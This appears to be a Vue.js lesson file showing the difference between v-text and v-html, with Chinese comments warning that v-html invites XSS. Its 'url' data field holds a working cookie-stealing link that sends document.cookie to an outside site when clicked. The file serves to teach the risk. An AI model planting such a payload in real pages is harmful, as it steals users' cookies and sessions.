<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <div>{{name}}</div>
        <!--v-text会将name的值替换整个标签体，和上面差值语法效果一样，只渲染文本不解析标签-->
        <div v-text="str"></div>
        <!--v-html可解析标签-->
        <div v-html="str"></div>

        <!-- v-html有安全性问题，非常不建议用v-html渲染动态内容(XSS攻击)-->
        <div v-html="url"></div>
    </div>
 
    <script>
        Vue.config.productionTip = false
       
        let vm = new Vue({
            el: "#root",
            data: {
                name: 'sgg',
                str: '<h3>你好啊</h3>',
                url: '<a href=javascript:location.href="https://www.bilibili.com?p=" + document.cookie>点我有好看的</a>'
            }
        })


    </script>
</body>
</html>